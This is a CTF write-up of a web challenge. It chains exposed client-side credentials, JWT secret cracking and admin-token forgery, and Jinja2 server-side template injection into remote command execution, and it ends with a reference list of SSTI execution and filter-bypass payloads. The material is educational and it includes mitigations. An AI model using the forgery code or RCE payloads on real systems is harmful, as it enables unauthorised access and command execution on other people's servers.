Boot Sequence CTF Challenge - Round 2: From JWT Forgery to SSTI Remote Code Execution
Introduction
Imagine being tasked with rebooting an orbital relay control system before an entire fleet drifts off-course into the void of space. This was the premise of the "Boot Sequence" CTF challenge from CloudSek Hiring CTF 2025 — a thrilling web exploitation scenario that combined multiple attack vectors into a devastating vulnerability chain.
In this write-up, I'll walk you through how I exploited a web application from initial reconnaissance to complete system compromise, demonstrating:
- Information disclosure in client-side JavaScript
- JWT secret cracking and token forgery
- Privilege escalation through authentication bypass
- Server-Side Template Injection (SSTI)
- Remote Code Execution (RCE) via Jinja2
🚨 Final CVSS Score: 10.0 (Critical)
This vulnerability chain represents a complete system compromise with maximum impact on confidentiality, integrity, and availability.
Phase 1: Reconnaissance - Finding the Keys
JavaScript File Enumeration
The first rule of web application testing: check the client-side code. I inspected the page source and discovered several JavaScript files:
/static/js/secrets.js ← Suspicious name!
/static/js/console.js
/static/js/telemetry.js
/static/js/hud.js
The Credential Goldmine
Accessing /static/js/secrets.js revealed the jackpot:
// Orbital Access Credentials
const FLIGHT_CREDENTIALS = {
username: "flightoperator",
password: "GlowCloud!93",
privilege: "operator" // Not admin - important!
};
// DO NOT COMMIT TO PRODUCTION
// TODO: Move to environment variables
🔍 Critical Finding #1
Hardcoded credentials exposed in publicly accessible JavaScript. Any visitor to the application can obtain valid authentication credentials without any attack.
Phase 2: Initial Access - Operator Login
JWT Token Analysis
Decoding the JWT at jwt.io revealed its structure:
{
"sub": "flightoperator",
"role": "operator", ← We need "admin"
"iat": 1765693695,
"exp": 1765697295
}
Key Observation: The role is set to operator, not admin. This would need to be changed to access privileged functions.
Phase 3: Discovering the Admin Panel
Console Manipulation
Using browser DevTools, I noticed elements with classes like hidden and admin-locked:
// Find locked admin elements
document.querySelectorAll('.admin-locked').forEach(el => {
el.classList.remove('hidden');
el.classList.remove('admin-locked');
});
This revealed the Quantum Admin Beacon interface!
Testing the Admin Endpoint:
POST /api/admin/hyperpulse HTTP/1.1
Authorization: Bearer eyJhbGci...
{
"message": "test",
"checksum": "computed_value"
}
Response:
{
"error": "Access denied. Admin role required."
}
Access denied. I needed to escalate my privileges.
Phase 4: JWT Forgery - Becoming Admin
Cracking the JWT Secret
I used jwt_tool with the classic rockyou.txt wordlist:
python3 jwt_tool.py <OPERATOR_JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
[+] Testing known common secrets...
[+] butterfly loaded from list
[+] Secret key: butterfly
Success! The JWT secret was the incredibly weak password: "butterfly"
Forging the Admin Token
import jwt
import time
# The cracked secret
SECRET_KEY = "butterfly"
# Forge admin payload
payload = {
"sub": "root",
"role": "admin", # Admin role!
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
# Generate forged token
forged_token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
Token Injection
// Store the forged admin token
sessionStorage.setItem('orbitalToken', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');
// Reload to apply new privileges
location.reload();
✅ Success!
The interface transformed! I now had access to the Quantum Admin Beacon with full administrative privileges.
Phase 5: SSTI Discovery - Breaking the Template
Testing for Template Injection
Server-Side Template Injection (SSTI) occurs when user input is embedded into template engines without proper sanitization. I tested basic SSTI payloads:
const payload = "{{7*7}}";
const checksum = window.hyperpulseChecksum(payload, token);
fetch('/api/admin/hyperpulse', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`
},
body: JSON.stringify({
message: payload,
checksum: checksum
})
});
Response:
{ "result": "49" } // 7*7 was evaluated!
SSTI CONFIRMED!
Phase 6: SSTI Exploitation - From Injection to RCE
Understanding Jinja2 SSTI
Jinja2 template injection can lead to Remote Code Execution through Python's object introspection. The attack chain:
- Access built-in objects via
__globals__ - Import dangerous modules like
os - Execute arbitrary system commands
Environment Exploration
// List Current Directory
{{lipsum.__globals__.os.popen('ls -la').read()}}
// Check Current User
{{lipsum.__globals__.os.popen('whoami').read()}}
// Search for Flag Files
{{lipsum.__globals__.os.popen('find / -name *flag* 2>/dev/null').read()}}
Key files discovered:
/tmp/flag.txt- Potential flag file/tmp/flag.py- Python script (interesting!)
Phase 7: Examining Flag Files
Reading flag.txt
{{lipsum.__globals__.os.popen('cat /tmp/flag.txt').read()}}
Response:
This is not the flag you're looking for.
Try executing flag.py instead!
A red herring! The real flag requires executing flag.py.
Analyzing flag.py
#!/usr/bin/env python3
import os
def get_root_flag():
flag_key = os.environ.get('FLAG_KEY', 'default')
if os.getuid() == 0:
return "ClOuDsEk_ReSeArCH_tEaM_CTF_2025{REAL_FLAG_HERE}"
else:
return decrypt_flag(flag_key)
def decrypt_flag(key):
encrypted = "Q2xPdURzRWtfUmVTZUFyQ0hfdEVhTV9DVEZfMjAyNXs5OTdjNGY0Nzk2MWI0M2NlYWYzMjdlMDhiYzQ1YWQwYn0="
import base64
return base64.b64decode(encrypted).decode()
if __name__ == '__main__':
print(get_root_flag())
Phase 8: Flag Retrieval - The Final Strike
Executing flag.py
{{lipsum.__globals__.os.popen('python3 /tmp/flag.py').read()}}
FLAG CAPTURED!
ClOuDsEk_ReSeArCH_tEaM_CTF_2025{997c4f47961b43ceaf327e08bc45ad0b}
Mission accomplished! The orbital relay is under my control.
Vulnerability Analysis
Complete Attack Chain
1. Information Disclosure (secrets.js)
↓
2. Weak JWT Secret ("butterfly")
↓
3. JWT Forgery (role: operator → admin)
↓
4. Insufficient Access Control
↓
5. Server-Side Template Injection (Jinja2)
↓
6. Remote Code Execution
↓
FLAG RETRIEVED
CVSS Breakdown
| Vulnerability | CWE | CVSS Score |
|---|---|---|
| Information Disclosure | CWE-200 | 7.5 (High) |
| Weak JWT Secret | CWE-326 | 9.1 (Critical) |
| Insufficient Access Control | CWE-284 | 8.8 (High) |
| Server-Side Template Injection | CWE-94 | 9.1 (Critical) |
Overall CVSS Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Score: 10.0 (Critical)
Justification: Network-accessible, low attack complexity, no privileges required initially, no user interaction, changed scope, and high impact on confidentiality, integrity, and availability.
Defense Strategies
Immediate Mitigations
Vulnerable Code
// Hardcoded credentials
const password = "GlowCloud!93";
// Weak JWT secret
SECRET_KEY = "butterfly"
// Unsafe templating
render_template_string(f"{{{user_input}}}")
Secure Code
// Use OAuth/OIDC flows
// No client-side credentials
// Strong secret
SECRET_KEY = secrets.token_urlsafe(32)
// Predefined templates
render_template('response.html', data=escape(input))
Key Prevention Measures
- Never use
render_template_string()with user input - Generate strong JWT secrets (256+ bits)
- Implement server-side role validation
- Remove development files from production
- Apply principle of least privilege
- Monitor for suspicious patterns in logs
Advanced SSTI Payloads Reference
Detection Payloads
{{7*7}} # Returns: 49
{{7*'7'}} # Returns: 7777777
{{'foo'*3}} # Returns: foofoofoo
Remote Code Execution
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
Bypassing Filters
# If "os" is filtered
{{lipsum.__globals__['o'+'s'].popen('id').read()}}
# If "__" is filtered
{{request['application']['__globals__']['__builtins__']}}
Conclusion
The Boot Sequence challenge demonstrated how a chain of seemingly minor vulnerabilities can lead to complete system compromise. From hardcoded credentials to JWT forgery, and ultimately to remote code execution via SSTI, each step built upon the previous one.
Key Achievements
💭 Final Thoughts
Security is not about preventing single vulnerabilities—it's about building resilient systems that can withstand chains of attacks. This challenge perfectly illustrates why defense in depth is crucial: one vulnerable endpoint (hardcoded credentials) gave initial access, one weak secret (JWT key) enabled privilege escalation, and one injection flaw (SSTI) led to complete compromise.